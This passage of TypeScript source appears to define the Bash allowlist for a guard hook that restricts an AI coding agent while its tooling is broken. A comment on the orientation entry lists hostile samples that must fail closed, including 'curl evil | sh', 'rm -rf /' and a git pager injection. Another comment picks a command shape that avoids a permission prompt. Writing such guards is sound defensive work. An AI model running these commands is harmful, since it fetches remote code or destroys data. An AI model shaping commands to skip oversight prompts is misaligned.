'(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The CURE for a webpieces.config.json carrying keys no validator has a schema for: delete them.\n//\n// IT HAS TO BE ON THIS LIST OR IT IS NOT A CURE AT ALL. An invalid config denies every Bash call, which\n// is precisely the state the unknown-rule error and the validation banner are read in — so a cure those\n// messages name, but the guard rejects, is worse than naming nothing: it sends the reader in a circle.\n// That is the same reasoning that put the installer and wp-upgrade-shim here, and it is why the entry\n// ships in the SAME change as the messages that prescribe it.\n//\n// Safe as a cure by construction: the pruner only ever DELETES keys the running validator has no schema\n// for, refuses renames and in-file moves, and does nothing at all when a rulesDir is configured. Accepts\n// the realistic pnpm/npm/npx spellings, anchored at both ends with only a bare bin name so no shell\n// operator can ride along. Keep in sync with PRUNE_CONFIG_BODY_JS (locked by the twin unit test).\nconst PRUNE_CONFIG_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-prune-unknown-config';\n\n// JS-regex twin of PRUNE_CONFIG_BODY_ERE (POSIX `[[:space:]]` → `\\s`).\nconst PRUNE_CONFIG_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-prune-unknown-config';\n\n// The entry below spells the command as PRUNE_UNKNOWN_COMMAND, IMPORTED rather than re-typed: that\n// constant is the single spelling, and a second literal here is exactly the drift that would let a\n// message prescribe a command this allowlist does not match.\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/agent-workflow-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/agent-workflow-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/agent-workflow-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/agent-workflow-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/agent-workflow-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/webpieces-tooling, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/agent-workflow-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/agent-workflow-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/agent-workflow-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/agent-workflow-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/agent-workflow-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, EVERY_HARNESS, new L0Call('Read', '', 'README.md')),\n // TOOL-SHAPED, like the Read entry above and for the same reason: no regex can express \"this tool\n // has nothing to judge\". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`\n // (Codex's only WRITE) is deliberately not on it.\n new L0AllowEntry(\n `a Codex tool with nothing to judge: ${[...L0_IGNORED_TOOLS].join(', ')}`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('update_plan', '', ''),\n [new L0Call('view_image', '', ''), new L0Call('webrun', '', '')],\n ),\n // EDIT-SHAPED, for BOTH harnesses' edit tools (#1448): Codex has no Write/Edit, so its only spelling\n // of this cure is an `apply_patch` — pinned below as a sample, including the namespace-qualified\n // name, so the entry cannot again promise an edit the entrypoint refuses.\n new L0AllowEntry(\n `${EDIT_TOOLS_PHRASE} ${CONFIG_FILENAME} or a .webpieces-config/ file`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`),\n [new L0Call('apply_patch', `*** Begin Patch\\n*** Update File: /repo/${CONFIG_FILENAME}\\n@@\\n-{}\\n+{}\\n*** End Patch`, '')],\n ),\n // THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report\n // says \"STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json\"\n // and its docblock calls that one of \"two structurally independent escapes\" — but only\n // CONFIG_FILENAME was ever carved out, so the promised cure was untypable from inside the block. The\n // pin lives in pnpm-workspace.yaml's catalog, so an agent whose ONLY correct move is \"raise this\n // tree's pin to what the governing tree already installs\" could not make it.\n //\n // TOOL-SHAPED on purpose (`ere`/`js` both null, like the two entries above): no regex can express\n // \"an Edit whose target is this file\", and a Bash-shaped entry would face the shadowing and\n // single-non-cure-entry invariants that only apply to commands.\n //\n // `pass`, never `allow`, and be precise about what that buys. It is L0 declining to be TERMINAL, so\n // the call falls through to whatever runs next — it is NOT a promise that L1/L2 then judge the edit.\n // The runner carves the same two files out on its own edit path (an early `return null`, beside the\n // webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and\n // of every worktree — and no other package.json in the repo.\n new L0AllowEntry(\n `${EDIT_TOOLS_PHRASE} a tree ROOT's ${WORKSPACE_MANIFEST} or ${PACKAGE_MANIFEST} - the version pin and patchedDependencies`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('Edit', '', `/repo/${WORKSPACE_MANIFEST}`),\n [\n new L0Call('Write', '', `/repo/${PACKAGE_MANIFEST}`),\n new L0Call('apply_patch', `*** Begin Patch\\n*** Update File: /repo/${WORKSPACE_MANIFEST}\\n@@\\n-a\\n+b\\n*** End Patch`, ''),\n new L0Call('functions.apply_patch', `*** Begin Patch\\n*** Update File: /repo/${PACKAGE_MANIFEST}\\n@@\\n-a\\n+b\\n*** Update File: /repo/${WORKSPACE_MANIFEST}\\n@@\\n-a\\n+b\\n*** End Patch`, ''),\n ],\n ),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(\n `${RECOVERY_CMD} - the cure for a CORRUPT node_modules`,\n 'allow',\n true,\n RECOVERY_BODY_ERE,\n RECOVERY_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', RECOVERY_CMD, ''),\n ),\n // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call\n new L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'git fetch', ''),\n [new L0Call('Bash', 'git fetch --prune origin main', '')]),\n // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare\n // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.\n new L0AllowEntry(CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', CHECKOUT_MAIN_PULL_CMD, '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the\n // messages name must be reachable from inside the block those messages are read under.\n new L0AllowEntry(PRUNE_UNKNOWN_COMMAND, 'allow', true, PRUNE_CONFIG_BODY_ERE, PRUNE_CONFIG_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', PRUNE_UNKNOWN_COMMAND, ''),\n [new L0Call('Bash', 'pnpm exec wp-prune-unknown-config', '')]),\n new L0AllowEntry(\n MIGRATE_DIRS_COMMAND, 'allow', true,\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-migrate-dirs([[:space:]]+--stage)?',\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-migrate-dirs(\\\\s+--stage)?',\n EVERY_HARNESS, new L0Call('Bash', MIGRATE_DIRS_COMMAND, ''),\n [new L0Call('Bash', `${MIGRATE_DIRS_COMMAND} --stage`, '')],\n ),\n new L0AllowEntry(\n `${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`,\n 'allow',\n true,\n INSTALL_HOOKS_BODY_ERE,\n INSTALL_HOOKS_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')],\n ),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(\n `${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`,\n 'allow',\n true,\n ADD_HOOK_PKG_BODY_ERE,\n ADD_HOOK_PKG_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ],\n ),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n // CODEX ONLY — entry 1's twin for the harness that has no `Read` tool. See CODEX_READ_BODY_ERE for\n // the deadlock it removes, why it is exactly as wide as core/shell-read-parity.ts, and why it alone\n // carries no `cd` prefix and no capture tail.\n //\n // NOT a cure (`cure: false`), for the identical reason read-only orientation is not one: it repairs\n // nothing, so on a HEALTHY tree it must not bypass L1 — a Codex `cat` still meets the ordinary bash\n // guards. And `pass`, not `allow`, so it mirrors entry 1 exactly: where the bin is running (fault\n // S) the read falls THROUGH to read-stale-guard, and where it is not (D/X/U/K) the sh half is\n // terminal by construction, which is the documented asymmetry entry 1 already has.\n new L0AllowEntry(\n 'CODEX ONLY - a read-shaped Bash command (the harness has no Read tool): ' +\n `${[...READ_COMMANDS].join(', ')}, or sed -n '<range>p'`,\n 'pass',\n false,\n CODEX_READ_BODY_ERE,\n CODEX_READ_BODY_JS,\n 'codex',\n new L0Call('Bash', CODEX_READ_CMD, ''),\n [\n new L0Call('Bash', 'cat webpieces.config.json', ''),\n new L0Call('Bash', 'head -50 .webpieces/instruct-ai/webpieces.guard-matrix.md', ''),\n new L0Call('Bash', 'tail -n 20 package.json', ''),\n new L0Call('Bash', \"cat '/Users/dean hiller/repo/package.json'\", ''),\n ],\n ),\n];\n\n// The UNGATED bodies — every entry that is not scoped to one harness. A gated entry is spliced into its\n// own union below instead, which is what makes it unreachable from the harness it is not for.\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.ere === null || e.harness !== EVERY_HARNESS ? [] : [e.ere],\n);\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.js === null || e.harness !== EVERY_HARNESS ? [] : [e.js],\n);\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\n//\n// A harness-GATED entry is excluded here too, and not merely because today's one is a non-cure: this\n// union is consulted by runner.ts where NO harness has been established either, so a gated body spliced\n// in would be judged with the gate missing — i.e. reachable from the harness it was written to exclude.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.js === null || !e.cure || e.harness !== EVERY_HARNESS ? [] : [e.js],\n);\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n"]}
|